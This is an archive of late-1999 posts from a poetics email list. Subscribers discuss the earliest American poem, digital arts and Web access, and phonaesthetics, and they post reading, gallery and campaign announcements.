RE: POETICS Digest - 1 Nov 1999 to 2 Nov 1999 (#1999-206) might be a good time to chime in here with a brief report of this year's "Digital Arts and Culture" conference, held at Gerogia Tech in Atlanta -- on hand were hypertext notables

Michael Joyce and Jay Bolter, Kate Hayles, Mary Flanagan, Loss Glazier, John Cayley, Christy Sheffield Sanford, Janet Murray, Robert Coover, Terry Harpold (conf chair), Johanna Drucker, and lots others -- with performances, talks and installations from a predominately US-based group but also UK, Canada, Germany, Norway, Belgium, Finland, Australia, and Uruguay represented in the mix

like at many conferences, tight scheduling and overlapping sessions, as well as an intentionally over-saturated "digital" environment, made it impossible to hear and see everyone, but from my perspective there was a marked absence of discussions like those going on here among Miekal And, Tom Beckett, Steve Ellis and others -- rather, an underlying determinist and celebratory tone that almost preempted any talk about access, boundaries, limitations, costs, representation, etc. -- these issues came up later at dinners and late-night gatherings (also true of many confs) but the conference seemed for the most part organized around a "let's see what's hot in e-media today" mentality -- which both excited for the range of possibilities represented in the installations and bothered for the failure to make room for a more formalized critique of apparatus, distribution, production, not to mention the aesthetics of a burgeoning computer-based art and literature [Robert Coover's anachronistic call for a "return to the written word" in the concluding minutes of a 2-hour keynote speech nothwithstanding]

true, the multi-million-dollar GTech facilities suggest an all-too-easy metaphor for the current relationship between acadamia and "new media" studies and practices -- but also several of the installations were and still are web-based pieces which anyone with the means to read this post can access via their modem/cable connections -- also, i was told that the conference proceedings will be re(web)casted within the next couple weeks and available using the free Real or QT players

a lot of work done and to be done, a lot of questions -- state-of-the-art without enough talk on the state of the art

more at: http://www.lcc.gatech.edu/events/dac99/
and for more on global connectivity: Terry Harpold's essay on metageographies at:
http://www.lcc.gatech.edu/~harpold/papers/dark_continents/index.html

bill

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183. Michael Magee
Re: query
Mon 8 Nov 1999

According to Todd Baron /*/ ReMap Readers:
>
> dear List:
>
> Truly wanting to use the list to co-respond with others--I posted a
> question teh last week. "What do you consider to be the first American
> (of the U.S.) poem"?

Okay, I'll bite. I don't understand "before Bradstreet" in English, in the U.S. - who would that be? And in fact, if I have to pick someone, some poem, in this way, I'd say Bradstreet's as good as anyone - particularly "On My Dear Grandchild Simon Bradstreet," for its utterly sarcastic tone regarding God's divine providence - a tone which prefigures Dickinson's in poems like "I'm 'wife' -- I've finished that." All of the truisms about God's wisdom and grace here are couched by "Let's," my favorite being the extra-tentative "Let's say He's merciful as well as just." Everytime I read this I feel like responding, "Alright, what the hell, let's say it."

For something more explicitly U.S.-ish, how 'bout Phillis Wheatley's "To His Excellency General Washington" which inaugurates the cooptation of Amurika's revered terms ("The land of freedom's heaven-defended race") by the marginalized. How did Creeley put it - "America, give us our country back"? Somethin like that.

-Mike.

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184. Poetics List
Re: Miekal and Dobyns, etc.
Mon 8 Nov 1999

Richard Dillon: "I doubt you, Chris, will publish this post."

I must say I never cease to be amazed at the inclination on the part of some, chiefly male subscribers to turn this list into a pissing contest. How is it that I can convince those among us of this tenor - not only Mr. Dillon, btw - that such things as vociferous criticisms of the work of one's fellows, public challenges and lines-drawn-in-the-sand, matter-of-fact dismissals and cutting remarks are a variety of boorish posturing in which I and numerous others among

the 800 of us here are disinclined to participate - being
here rather to converse about poetry than jock size.

In future, if anyone wishes to "meet me after school,"
please make your request backchannel; in this way may
we refrain from wasting everyone else's time.

Chris

% Christopher W. Alexander
% poetics list moderator

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185. **Tony Green**
rengaitis
Mon 8 Nov 1999

I will watch the proposed renga &
guess that I will be, first, deleting a lot, & maybe , second,
setting: poetics-list no mail until it's over -
collaborative verbal spillage & seepage soon got
tedious last time out -- after about a week --
I'd hopefully suggest a renga go on a renga list

Tony Green

↑ Index

186. **Jorge Guitart**
Re: the renga
Mon 8 Nov 1999

---

i am sorry we did that to the list.
the renga doesn't have to be on the list, though.
j

On Mon, 8 Nov 1999, Jordan Davis wrote:

> *Grant --*
>
> *I'm all for it --*
> *but I should mention --*
> *the renga provoked the biggest dropoff in list membership --*
> *bigger even than any meatflap debate scribbling --*
>
> *Jordan*

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187. **Taylor Brady**
Re: phonaesthetic
Mon 8 Nov 1999

Kevin,

Work by Reuven Tsur and Garrett Stewart might be of interest here -- neither, though, without their problems (especially Tsur, who almost seems to insist on a kind of transcultural, transhistoric "legibility" of the onomatopoetic qualities of vowel sounds. But worth looking at as one example of how the universalist hopes of a certain strain of Moscow/Prague linguistics [one recalls Jakobson's commitment to Khlebnikov and the project of zaum] can be leaned on and pushed into a more recuperative mode by more recent practitioners).

From a less literary perspective, there's a recent anthology edited by Steve Roden and Brandon Labelle (sp?) of California electroacoustic/sound-art ensemble id battery. I'll hunt down the title and backchannel you. Pieces in this one tend to deal more with the liminal zones between acoustic hermeneutics and acoustic phenomenology, with an eye to the particular properties of electrically and electronically recorded sound. Other work in this rough area might include Pierre Schaeffer's writings on musique concrete (some of which are housed at UbuWeb), and the writings on acoustic ecology and related themes referenced and linked by the World Soundscape Project, whose URL follows:

http://www.sunsite.ubc.ca/WorldSoundscapeProject/wsp.html

And many suggestive pieces, of course, in both _Close Listening_ (ed. Charles Bernstein, U of Chicago) and _Sound States_ (ed. Adelaide Morris, Duke UP).

Also, might be interesting to follow out some of the suggestions in Nate Mackey's work -- both poems and essays -- in looking at "the creaking of the word," (a Dogon concept, if I'm not mistaken, taken up in _Discrepant Engagement_, a relevant "third-party" discussion of which takes place in the Harryette Mullen interview in COMBO #1), the "rasp," etc., as features of African and Afro-diasporan musical/poetic practices. And Jacques Attali's treatment of noise as the coding of social violence/eruption of violence within social codes continues to be a jumping-off point, though problematic in terms of the near-transparency it often posits between the history of modes of production in the "economist" sense, and the history of modes of cultural production.

I'm sure there's a wealth of other stuff, but time and resources are limited from where I sit. Instinct tells me, though, that at least a brief foray beyond the linguistic and literary might be of some use in this project. Anyhow, I hope some of this has been helpful.

Best,
Taylor

From: UB Poetics discussion group [mailto:[redacted]]
On Behalf Of K.Angelo Hehir
Sent: Friday, November 05, 1999 5:14 PM
To: [redacted]
Subject: phonaesthetic

fellow travellers,

i'm doing some work on the acoustic hermeneutic. i've been pouring over linguistics and psychology journals and find sentiments like the following quotation displays common: "The phonaesthetic properties of words have been used extensively by poets but we will not be concerned with them here."

can anyone point me to some places where there is concern? i'm using jakobson's Six Lectures on Sound and Meaning as a starting point and kostelanetz' Text-Sound Texts for examples but i'msure there is more recent scholarship with relationship to current poetic practices.

on another note, it's good to be back on poetics after time inside. it is a lot louder than i remember tho.

thanks,
kevin hehir

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188. Lance Fung Gallery, 537 Bway NYC 10012

Morphology Of Change (November Show)

Mon 8 Nov 1999

For Immediate Release
Contact Lance Fung [redacted]

J o h n R o l o f f

Morphology of Change

A new installation

11 Nov - 18 Dec at Lance Fung Gallery, 537 Broadway NYC

Reception for the artist: Thursday, 11 November, 6 - 8 PM

Morphology of Change, an exhibition of a new installation by the American artist John Roloff, opens Thursday, November 11th at Lance Fung Gallery. In Morphology Of Change Roloff once again achieves an experimentation and provocation on level with his past landscape projects, installations, sculptures

and environmental art. His geology inspired furnace projects in the landscape of the late 70's through the early 90's (Saskatchewan, Canada, Hartford, CT, Arvada, CO...), experimental works with greenhouses and plant materials of the 80's and 90's (Smithsonian Institution, San Francisco, CA, Santa Barbara, CA...) and the large-scale photographic works shown in Dialogues with Nature at Lance Fung Gallery in 1998 form the background for this new work.

As a conceptual extension of this earlier work, the installation done for Morphology of Change incorporates architecture, natural systems and formal considerations in an interior/exterior setting referring to such diverse attitudes as the 19th century sublime, process art, earth works, and baroque philosophy.

In the essay, John Roloff's The Rising Sea, Robert C. Morgan wrote, "Like many artists of his generation, Roloff is not east to identify in terms of a particular medium. He has been called a sculptor and environmental artist, but he is much more than that. He functions on a conceptual level, meaning that he foregrounds the ideas he is seeking to clarify through his art. By foregrounding the ideas, the medium or media becomes secondary to the extent that he uses what is necessary in order to express the ideas." Further in the same essay Morgan states, "The larger point for John Roloff in these site-specific installations is that nature is bigger than our understanding of it. The order of nature is bigger than any order we can impose upon it, and that it is a resilient force."

The focus of the exhibition will be a large singular work, Holocene, referring to the Holocene Era, the geologic period of our contemporary time. Holocene is a primarily transparent, wood-framed structure that extends the open portion of one of the gallery's street-facing windows into the center the exhibition space. Within the constructed chamber and connected only to the outside world is a field of living moss subjected to the environmental conditions present during the run of the exhibition; on dry days the moss will be a dormant grey color, on rainy days--to the extent that weather can reach within the structure--a vibrant green.

As an extension of the physicality and process aspects of his earlier work, gallery viewers will be able to observe a section of the exterior environment penetrating deep into the gallery space and its effect on the moss's condition. Holocene investigates two resonate themes of Roloff's work, one that relates architecture and human activity in general to larger natural and geologic systems, the second, in a similar way to the earlier landscape furnaces and other environmental works, where a force (in this case organic vitality as condition of contemporary climate) is made visible in a confined environment and a dialog ensues between nature, the structure and its contents.

Lance Fung Gallery is the New York dealer for John Roloff. He has work in such important art collections as: The National Museum of American Art, Washington, DC, San Francisco Museum of Modern Art, San Francisco, CA, De Young Memorial Museum, San Francisco, CA, Achenbach Foundation, San Francisco, CA, Oakland Museum, Oakland, CA, University Art Museum, University of California Berkeley, Berkeley, CA, Newport Harbor Museum, Newport Beach, CA, Museum of American Crafts, New York, NY, Crocker Art Museum, Sacramento, CA, Lannon Foundation, Palm Beach, FL, Cornell University, Ithica, NY, University of Arizona, Tuscon, AZ, University of Washington, Seattle, WA, University of Nevada, Reno, Reno, NV, Viart Corporation and (Numerous additional private collections)

To be removed from our lists please submit a blank email with a subject ['remove'], including quotes to [redacted].

If we have contacted you in error, our appologies.

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189. Brian Lennon
contact info request: Ronk/Vangelisti/Phillips
Mon 8 Nov 1999

Are you out there, or anyone have contact info for:

Martha Ronk
Paul Vangelisti
Dennis Phillips

---or anyone else affiliated with Littoral?
It's about a review of _Alphabets_.
Backchannel, thanks.

Thanks
Brian Lennon

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190. Taylor Brady
Re: Ammiano for Mayor (SF)
Mon 8 Nov 1999

Ron,

Thanks for sending this -- voting for Ammiano is the first time I've participated in electoral politics (outside of union elections) and felt good about it the day after. Being a recent arrival, and living in one of the city's more left-leaning neighborhoods, I don't have any very accurate way to judge how the runoff

might go -- but based on bus-stop talks, running into people at tenants' meetings, pizza joints, et al, the support for Tom seems to be far deeper than the Chron/Ex "don't worry, Mr. Fisher, it's just a protest vote" line would seem to indicate. Of course, my live-in landlord -- who rakes in $1250 a month for the single room my wife and I share -- walked in on a conversation I was having with a friend touching on Ammiano's campaign, and delivered himself of a fairly histrionic litany of reasons not to vote for the "gay Mao." I wish I were exaggerating here, but to see how apparently acceptable as public discourse this sort of homophobic red-baiting has become (once again) since Ammiano's showing on election day, take a look at today's Chron editorial cartoon, which depicts a man and woman, presumably a hetero couple, looking at an Ammiano campaign poster: MAN: "How can I vote for him? He's a...you know..." WOMAN: "Yeah. Marxist."

So we have something of a struggle on our hands, and the call for contributions is certainly apropos. As would be, perhaps, more letters to the editor like today's, which asks the pertinent question why Willie Brown's sexual profile hasn't been attached to his name as a de facto part of his job description.

Taylor

From: UB Poetics discussion group [mailto:[redacted]]
On Behalf Of Ron Silliman
Sent: Saturday, November 06, 1999 5:44 AM
To: [redacted]
Subject: Ammiano for Mayor (SF)

Some retro carpet-bagging on my part here. Tom Ammiano has made the mayoral runoff in San Francisco against Willie Brown. Brown has long been a social liberal who has used that stance to front for the most rapacious developers who've driven SF into a place where rental units now run $1,000 per month per bedroom (a far cry from the $350 I and my roommates paid in total for our 7-bedroom house in "Baja Pacific Heights" in the 1976-78 period).

Ammiano is a stand-up comic who first got active in politics by pushing to protect the rights of gay teachers in the mid-1970s. He's currently the president of the county board of supervisors and ran a write-in campaign that garnered 25 percent of all votes with just $20,000 (compared to Brown's 39 percent thanks to a budget of $2.3 million). Voters ejected ex-mayor/ex-police chief Frank Jordan and political consultant Clint Reilly from the run-offs, two relatively conservative politicians who got 29 percent of the vote.

Those of us who remember the late Harvey Milk are enheartened by a demonstration that populist politics need not be the know-nothing libertarianism of, say, a Jesse Ventura.

You don't need to live in San Francisco to benefit from Ammiano's election in the December election.

And you can help!

Call [redacted] or e-mail [redacted] to volunteer and help make history.

If you would like to make a contribution, send a check made payable to "Tom Ammiano For Mayor" to:
Ammiano for Mayor
125 Upper Terrace
San Francisco, CA 94117
(if donation is $100 or greater,
specify your occupation & employer)

FPPC ID # 990924

Ron Silliman

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191. Daniel Zimmerman
Re: phonaesthetic
Mon 8 Nov 1999

Kevin,

You might try:

http://www.conknet.com/~mmagnus/

and

http://www.percep.demon.co.uk/pfol4th.htm

[I haven't found much on this, either...].

Best,

Dan

"K.Angelo Hehir" wrote:

> *fellow travellers,*
>
> *i'm doing some work on the acoustic hermeneutic. i've been pouring over linguistics and psychology journals and find sentiments like the following quotation displays common: "The phonaesthetic properties of words have been used extensively by poets but we will not be concerned with them here."*
>
> *can anyone point me to some places where there is concern? i'm using jakobson's Six Lectures on Sound and Meaning as a starting point and*

> *kostelanetz' Text-Sound Texts for examples but i'msure there is more recent scholarship with relationship to current poetic practices.*
>
> *on another note, it's good to be back on poetics after time inside. it is a lot louder than i remember tho.*
>
> *thanks,*
> *kevin hehir*

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192. **michael corbin**
Re: query
Mon 8 Nov 1999

Michael Magee wrote:

> *According to Todd Baron /*/ ReMap Readers:*
>
> *dear List:*
>
> *Truly wanting to use the list to co-respond with others--I posted a question teh last week. "What do you consider to be the first American (of the U.S.) poem"?*
>
> *Okay, I'll bite. I don't understand "before Bradstreet" in English, in the U.S. - who would that be? And in fact, if I have to pick someone, some poem, in this way, I'd say Bradstreet's as good as anyone - particularly "On My Dear Grandchild Simon Bradstreet," for its utterly sarcastic tone regarding God's divine providence - a tone which prefigures Dickinson's in poems like "I'm 'wife' -- I've finished that." All of the truisms about God's wisdom and grace here are couched by "Let's," my favorite being the extra-tentative "Let's say He's merciful as well as just."*

Then straight I 'gin my heart to chide
And did they wealth on earth abide?

Raise up they thoughts above the sky
That dunghill mists away may fly.

"Upon the Burning of Our House, July 10 1666"

I think "utterly sarcastic" is probably right. Though only as counterpoise to Increase and Cotton's sermonizing versifyings and Wigglesworths' dreadnought.

But maybe that distance of intentionality is what makes for various FIRSTs.

Roger Williams' transliterations of the Narragansett "A Key Into The Language of America" with this poesy rouseauisms on the Making of Americaans. Might stand as a first.

> *Everytime I read this I feel like responding, "Alright, what the hell, let's say it."*

Or the English translators of Diego de Landa or Las Casas in their mock-up versifying of Maya sing-song for Walter Raleigh or Johnny Smith.

> *For something more explicitly U.S.-ish, how 'bout Phillis Wheatley's "To His Excellency General Washington" which inaugurates the cooptation of Amurika's revered terms ("The land of freedom's heaven-defended race") by the marginalized. How did Creeley put it - "America, give us our country back"? Somethin like that.*

"Once I redemption neither sought nor knew": Phillis on the mid-passage presentiment of the predicament of first pomes, Americus. Are they all the same afterward?

mc

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193. **pete spence**
Re: internet costs
Mon 8 Nov 1999

>
I must say that the
>libraries here are terrible. >
>Best regards
>Peter

our town is very small a few thousand bods our branch public library is useless for any book i'd like to look at but the internet is free and reasonably fast but yesterday it was down whyche happens about once every six weeks so not a bad service if it wasn't here i wouldn't be able to fire up the mess of wires i got at home the modem would wonder what it was speaking to!!!! pete spence

---

Get Your Private, Free Email at http://www.hotmail.com

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194. michael corbin
Re: polarizing the web...
Mon 8 Nov 1999

Joe Amato wrote:

> *and *not* b/c we*
>
> *believe we writers/artists need all the help we can get (albeit many of us DO think this---which is the upshot, i think, of introducing the typewriter as artifact into the discussion, as jim rosenberg has done)...*
>
> *, a disturbingly corporate, if (as tom beckett indicates) incorporeal, presence...*

post-pixel

http://www.eink.com/

http://www.zdnet.com/pcmag/stories/trends/0,7607,2377431,00.html

mc

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195. Daniel Zimmerman
earliest american poem
Mon 8 Nov 1999

How about the Lenni-Lenape _Walum Olum_?

Or the one-word message carved in a tree by the lost
Roanoke colony: "Croatoan"? ["a cartoon"/"at corona"?]

Or something by a soldier or priest from St. Augustine?

Or Gloucester? {Olson may have identified it...Winthrop's
"city on a hill" bit?}

Hornbook verse? "Whales in the sea / God's voice obey"?

Runic inscriptions [the Kensington Stone]?

That bucket of beads for Manhattan?

What the thunder said?

--Dan Zimmerman

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196. Patrick Herron
origin of American poetry spells trouble
Mon 8 Nov 1999

>Truly wanting to use the list to co-respond with others--I posted a
> question teh last week. "What do you consider to be the first American
(of the U.S.) poem"?

This is a difficult question, because in it are two loaded words, "American" and "poem." A valuable question, with unexpected results, even upon a cursory glance.

I have written the following questions/phrasings to elucidate the multiplicities necessary for me to consider any answer, which is sure to be full of "and"s and "or"s. None of the following is INTENDED to display or compare penis dimension. This is about poetry (which often does coincide with genitalia or even secondary sex characteristics from time to time, so my apologies if I tempt you into thinking about typically hidden fleshy bits).

variations of the question based on variations of what "American" means:

1. first poem written in the Americas, geographically speaking (sounds like a challenge from a historical/archaeological perspective, and would also depend upon whether lyrics would be admitted): I am sure there are some very old Native American songs/chants; anyone?

2. first poem written in the Americas by a European: either doesn't exist or is unknown but this is a lack of scholarship on my part

3. first poem written in the Americas in English: ? anyone?

4. first "important" poems written in the Americas in English: Anne Bradstreet, particularly in "The Tenth Muse Lately Sprung upon America," her first book written in 1650. She was born in Northampton, England. It is interesting to note that Anne Hutchinson is said to be a poet, but I cannot find further evidence of that claim. If true, it was probably read, and she was very important, and she came before Anne Bradstreet. Which leads me to something revelatory about the origins of American poetry, if this be what you consider the beginning: Bradstreet and Hutchinson were both somewhat radical (Hutchinson very much so) and both allegedly had pretty scathing tongues. So perhaps they would largely be ignored on the POETICS list.

In Broadstreet's "The Tenth Muse Lately Sprung upon America," she writes, "I am obnoxious to each carping tongue." She also made heavy use of sarcasm, as Michael noted in his post.

5. first poem written in America as a colony in English: ?

6. first poem written in America as a nation circa Declaration of Independence in English: ?

7. first poem written in America as a nation circa the Constitution (signed or drafted, your pick) in English: ?

any of the above, but in Spanish instead of English: ?

in French: ?

in Choctaw: ? etc.

8. first “quintisentially” American poem: settled by arguments on what it is to be “truly American.”

Based on Michael's reasoning (I am sure I am taking it loosely so bear with me), I would say Jupiter Hammon, 1760: “An Evening Thought. Salvation by Christ, with Penetential Cries.”

http://www.lihistory.com/vault/423bvl.gif

Hammon preceded Wheatley by at least 10 years.

And then the problem of defining a poem:

Do we include or exclude clever engravings on headstones? Worksongs? Sea shanties? Actually these are difficult questions for me, ones I do not have any answer for, except to say truisms like "lyrics are lyrics."

Answering this question satisfactorily seems to take on the girth of a doctoral thesis quickly.

> *Mike wrote:*
>
> *Okay, I'll bite. I don't understand "before Bradstreet" in English, >in the U.S. - who would that be?*

A couple of sources on the internet say Bradstreet was America's first "important" poet, which implies to me there were other poets merely unimportant. Funny word, "important." I give that word little value; it strikes me as a word used in sophistry. Hutchinson, if she wrote verse, would be one such person to satisfy the pre-Bradstreet requirement.

One thing I have learned through this query is that:

any answer will have multiple answers and interpretations the roots of American poetry after the Mayflower take up their water from the soil of women and slaves, decidely the underdogs of their times (and our times, o how things get stuck in mud). And the "original" American poetry is steeped in the language of subservience & religious norms, especially rebellion against subservience & religious norms The sentiments of those encountering broken promises (the promise of equality and freedom, namely) in a new land.

Also, the problem of discovering the original American poem is like trying to recover Courbet's original "Origin of Mankind" painting. The origin without an original. Material composed of origins about origins that are lost in history. Always origins, without an original, beginning (v) without a beginning (n).

:p

Patrick Herron

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197. jocelyn saidenberg
Alcalay and Cole at Small Press Traffic, 11/12
Mon 8 Nov 1999

Small Press Traffic presents:

Friday, November 12, 7:30 p.m.
Ammiel Alcalay
reading and interviewed by Norma Cole

Ammiel Alcalay, scholar, critic, translator, poet and prose stylist, author of The Cairo Notebooks, makes a rare appearance in San Francisco to celebrate the publication by City Lights Books of his new book, Memories of Our Future: Selected Essays, 1982-1997. He will read from his work, old and new, and then will be joined on stage by San Francisco poet and translator Norma Cole, who will ask him about his multifold talents and accomplishments, and his translation as activism. With this event Small Press Traffic launches "In To View," a new series which hopes to illuminate in a discursive mode the issues, concerns and unspoken assumptions of the best writers of our day.

"Over the past fifteen years," writes Alcalay, "I have focused primarily on Hebrew and Jewish literature of the Middle East, in its Islamic, Levantine Arabic, and Israeli contexts. My work on Bosnia during the war in former Yugoslavia has entailed similar efforts at creating the cultural space for unfamiliar works to emerge. Throughout, my work as poet and prose-writer remains a crucial reference point, representing a kind of standard in form and content that I insist my other writing (and translation) adheres to." Alcalay's poetry, prose, reviews, critical articles and translations have appeared in The New York Times Book Review, The New Yorker, Time Magazine, The New Republic, The Village Voice, The Jerusalem Post, Grand Street, Conjunctions, Sulfur, The Nation, Middle East Report, Afterimage, Parnassus, City Lights Review, Review of Jewish Social Studies, The Review of Contemporary Fiction,

The Michigan Quarterly, Caliban, Paper Air, Paintbrush, Mediterraneans, and various other publications.

Norma Cole's most recent works are Desire & Its Double (Instress, 1998), Spinoza in Her Youth (A.bacus February, 1999), and Scout, a slide-text presentation. Her current translation work includes a selection of French writing and poetics called Crosscut Universe forthcoming from Burning Deck. Her translations of Anne Portugal's book Nude is forthcoming from Green Interger, and also of Lebanese writer Fouad Gabriel Naffah's poetry is forthcoming from Post Apollo Press. Cole has been the recipient of Gertrude Stein Awards, as well as awards from The Fund for Poetry.

New College Cultural Center
766 Valencia Street, San Francisco
$5

Small Press Traffic Literary Arts Center
766 Valencia Street
San Francisco, CA 94110
415/[redacted]
www.sptraffic.org

Small Press Traffic Literary Arts Center

766 Valencia Street

San Francisco, CA 94110

415/[redacted]

www.sptraffic.org

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198. **tf**

TF12 November 1999 (Quandaries)

Mon 8 Nov 1999

The Transcendental Friend, no. 12, November 1999 - Quandaries

http://www.morningred.com/friend/1999/11/cover.html

Winter is coming. Build a fire. Make some smoke. Stand out in the November sun and contemplate the quandaries of life. Okay that didn't work: go back inside and read some poems by the warm and comforting light of a cathode ray tube.

Early Rumanian ("punk," as Julian Semilina wrote me in a note) poems of Tristan Tzara (trans. by J. Semilian and Sanda Agalidi) in Idiosyncratica.

Poems by Jo Ann Wasserman, Hoa Nguyen, and Nikolai Gumilev (trans. Katharine Gilbert) in Laird Hunt's Bestiary.

Andrew Levy's review of William Fuller's byt, in Daniel Machlin's Review.

Poems by Carmen Fioran (trans. Isaiah Sheffer, Andrei Codrescu, and J. Semilian & Sanda Agalidi), Zhai Yongming (trans. L. Schwartz & Zhang Er), and Osvaldo Sanchez (trans. Roberto Tejada), in Leonard Schwartz's Report.

Garrett Kalleberg

Garrett Kalleberg
mailto:[redacted]

The Transcendental Friend can be found at:
http://www.morningred.com/friend

Immanent Audio Online at:
http://www.morningred.com/immanentaudio

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199. Todd Baron /*/ ReMap Readers

Re: query

Tue 9 Nov 1999

Michael Magee wrote:
>
>
> Okay, I'll bite. I don't understand "before Bradstreet" in English, in
> the U.S. - who would that be?

> *the marginalized. How did Creeley put it - "America, give us our country back"? Somethin like that.*
>
> *-Mike.*

yes Mike: before the English got English. Something truly here of this awkward place. One response I got was the tree at Roanoke. That was a truly poetic gesture. I think Bradstreet true--but around the 1600s?

yrs,

Todd Baron

↑ Index

200. Jim Andrews
Hypertranscript is up of Defib on Talan Memmott
Tue 9 Nov 1999

The first canned version of the live Defib Web artist interview show is up at http://webartery.com/defib/canned/1talan/index.html. This is a hypertranscript version of the IRC chat session that Defib hosted concerning Talan Memmott's work.

Defib's interview/conversation with Talan Memmott revolves around discussion of approaches to new media and also to narrative within new media. Talan's diverse foci synthesize notions of narrative within text and visual art toward a new type of narrative "the way painting offers narration as something that must be discovered and unfolded" but also as "theory/fiction".

The hypertranscript, a fully produced hypertext, serves as an interesting introduction to Memmott's work.

Producing the hypertranscript of the .txt transcript with Talan was itself an interesting collaboration. Live chat sessions result in non linear texts involving several speakers and the transcipt leaps about quite naturally.

Many thanks to those who participated in this IRC conversation/interview.

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201. Maria L. Zavialov
class, gender etc.
Tue 9 Nov 1999

Discussing class it's good to remember WHERE this discussion is taking place. Place, I mean a geographic spot or location, is another aspect (like gender) that should be introduced into the discussion. I mean location in terms of its economic situation. Thus the inhabitants of the US can all be said to belong to the upper class if viewed from a poor Asian country. One should try hard to stay hungry in the US, isn't one? The same goes for different locations within one and the same country. Like in Russia a native of Moscow coming to St. Petersburg is automatically moving one step up on the social ladder. And when he comes to a small provincial town he is already two steps up. And in a village... oh, in a village he (yes, he) is a guru. Masha Z.

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202. Susan Wheeler
Reading / Query
Tue 9 Nov 1999

For those of you in New York:

Reading: Elaine Equi and Susan Wheeler
Saturday, November 13, 2:00 p.m.
New York Public Library, Riverside Branch
127 Amsterdam Avenue, New York
Free

Also, can anyone recommend (b/c) essays on / collections of current New Zealand poetries and Welsh poetries?

Susan

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203. Alicia Askenase
Robert Creeley Reading
Tue 9 Nov 1999

SUNDAY, NOVEMBER 21ST AT 2:30 PM

A Notable Poets and Writers Series reading by

ROBERT CREELEY

The Walt Whitman Cultural Arts Center
Second and Cooper Streets
Camden, New Jersey 08102

for more information:
[redacted]

SUNDAY, NOVEMBER 21ST 2:30 PM

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204. Roger Day
Re: The Internet and all that / Mills
Tue 9 Nov 1999

At 1999-11-08 19:25:58, Poetics List <[redacted]> wrote:
I had to reformat this message. Please keep in mind
that HTML formatting should not be sent to the list.

HTML mail on an anti-www tip? Disgraceful :-) My bits are at the end

Chris
#
--
#
From: "Mills, Billy" <[redacted]>
Date: Fri, 5 Nov 1999 16:23:38 -0000
#
Date: Thu, 4 Nov 1999 00:07:43 +0000
#
> From: [redacted]
#
> Subject: Some stats on Web usage
#
>
#
> Region / Internet Users (in millions)
#
> United States, Canada 107.3
#
> Europe 46.4
#
> Asia/Pacific* 33.6
#
> Latin America 5.3
#
> Africa 1.7
#
> Middle East 0.9

I'd like to see the comparable literacy figures

#
> *Includes Australia and New Zealand
#
>
#
> Source: Red Herring magazine, December 1999
#
So, the arguments are not melting before my eyes.
#
I did not say that poets should not use PCs: the fact that I am e-mailing
#
these messages would contradict such a proposition.

#
I am saying that we should not lie to ourselves that the Web is more open
#
than books are.
#
Yes, access is easier: if you are a citizen of the 'developed' 'world'.
#
Yes, books were exclusionist in their day, so that makes it OK to reproduce
#
this in Webworld? While we're at it, we could reinstitute serfdom, witch
#
hunts and child labour.

How long has it taken books to get to this "non-exclusionary" position? How many centuries? For a young technology, the Web isn't doing half-bad. Yes, of course it's lower-thresholds maybe higher -currently- but the night is young…I may be the optimist here but, given the current -rate- of expansion, near world saturation might be acheived within 20 years. From zero to ubiquity within the space of a 100 years -if- it comes about will be no mean feat. You might not like it, but there you go.

I know a lot of poets find new and exciting potential in virtual creation,
#
and that the Internet gives users access to a huge range of material. But
#
look again at the figures posted by kathylou, and then let's be honest about
#
the _social_ limitations of the medium. It is, in many ways, another way of
#
enforcing centre/margin relationships, another hot topic on this list.
#
Billy

Indeed. Most things usually end up in a conspiracy and/or a binary theory :-)

Roger

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205. **Lowther, John**
Re: Techno Immateria
Tue 9 Nov 1999

---

brian lennon wrote; "For the most floridly morbid expressions of the idea that telecommunications media "dematerialize" the human body, see the pessimistic simulation theory of Jean Baudrillard, Paul Virilio, some of Fredric

Jameson. There's lots of interesting, and not necessarily even *new* thinking, though, that challenges this: e.g., the socialist feminism of Donna Haraway. Haraway's work always reminds me that no matter how tempting it may be to say that I'm "dematerialized" in the act of speaking onto this List, my actual body is still sitting right here in the chair, typing--- it hasn't gone anywhere."

> just wanted to add here
> that the computer i'm working on
> seems to me
> like a material object
>
> and tho i'm far too out of it
> to explain to anyone how it is
> that the message i'm responding to
> fills my screen
>
> i have this perhaps odd conviction
> that it to isnt quite immaterial
>
>)ohn

↑ Index

206. Katie Degentesh
NEW EMAIL ADDRESS
Tue 9 Nov 1999

NEVER AGAIN [redacted]

FROM NOW ON

[redacted]

Please take note. Thanks. Katie Degentesh.

↑ Index

207. Lowther, John
Weekend in New Orleans (part 1)
Tue 9 Nov 1999

> { p o e t i x }

i made it to the reading and symposium sponsored by the new orleans review this weekend and it was a blast

i hope to get a significant amount down in a post or two but am not trying for anything comprehensive or even focused on the 'event' so much as just a recounting as things strike my memory.... maybe i'll use headers like...

MEETING POETS

Bernadette Mayer was at the dinner friday the 5th at Camille Martin's house and the crowd included Bill Lavender, (the irrepressible) Nancy Dixon, Hank Lazer, Skip Fox, Randy Prunty, Andy di Michele, Myself, and folks whose last names i missed Phillip (travelling with Bernadette) John (lives there with Camille) ... there were more but Bernadette is way cool and i loved the last hour and half or perhaps two hours sitting and standing around in the dining room and listening as she'd make us all laugh then listen as some one of the crowd began to talk for awhile then she'd catch the edge of something in their talk and mention it as joke or paradox or observation and have us all laughing again and she told us a story that really hit me about someone who'd been Cage's nurse at the time of his death and who kept the EKG which showed the final beats of his heart, that this person had made something from it, a piece of art wondered if there wasn't a Cagean reading of it that wd make it something more interesting such that just as 4'33" illustrates for us that there is no silence, becoming a score for the unintended whatever that occurs... might his EKG also be a score (was it Joan Retallack who said that what Cage had left us primarily were scores ?) one that we don't intend but which we'll end up playing anyway...? (just a thought) but back to Bernadette, i'm left thinking of her the genius of good humor ---- tho i know that she explores all manner of moods in her work, my experience of talking to her was primarily of good humor ---- an example that springs to mind is when the Yasusada book _doubled flowering_ was mentioned --- she wasnt familiar with it and i gave her a quick run-down of the "bio" of AY and after the brief cataloging she said "seems like it cd've been a little more cheerful, doesnt it?" ---- another exempla wd be at the symposium where some of us talked blathered (that was me) and soliloquized and Bernadette spoke only once as i recall saying something like "my response is to laugh when things are funny"

[AUDIO POESIS ADDENDUM TO BERNADETTE] ---- she had CDs for sale "Epigrams, Imitations and Translations" the price was $10, i dunno if that's all the time or conference price or what --- but you cd probably score one by writing to Utopia Productions at 206 Macedonia Road, Chatham NY 12037

SYMPOSIUM

i tried to give a talk called "experimentalism, formalism and improvisation" that wasnt very successful ---- partially perhaps b/c i voided much of the bulk in order to get it within the time allotted (and still failed), tho ultimately the piece didnt work b/c these things i was trying to define or redefine, while important to me daily in my work as poet, arent perhaps things that anyone else was particularly engaged with and as a measure of how little the redefined

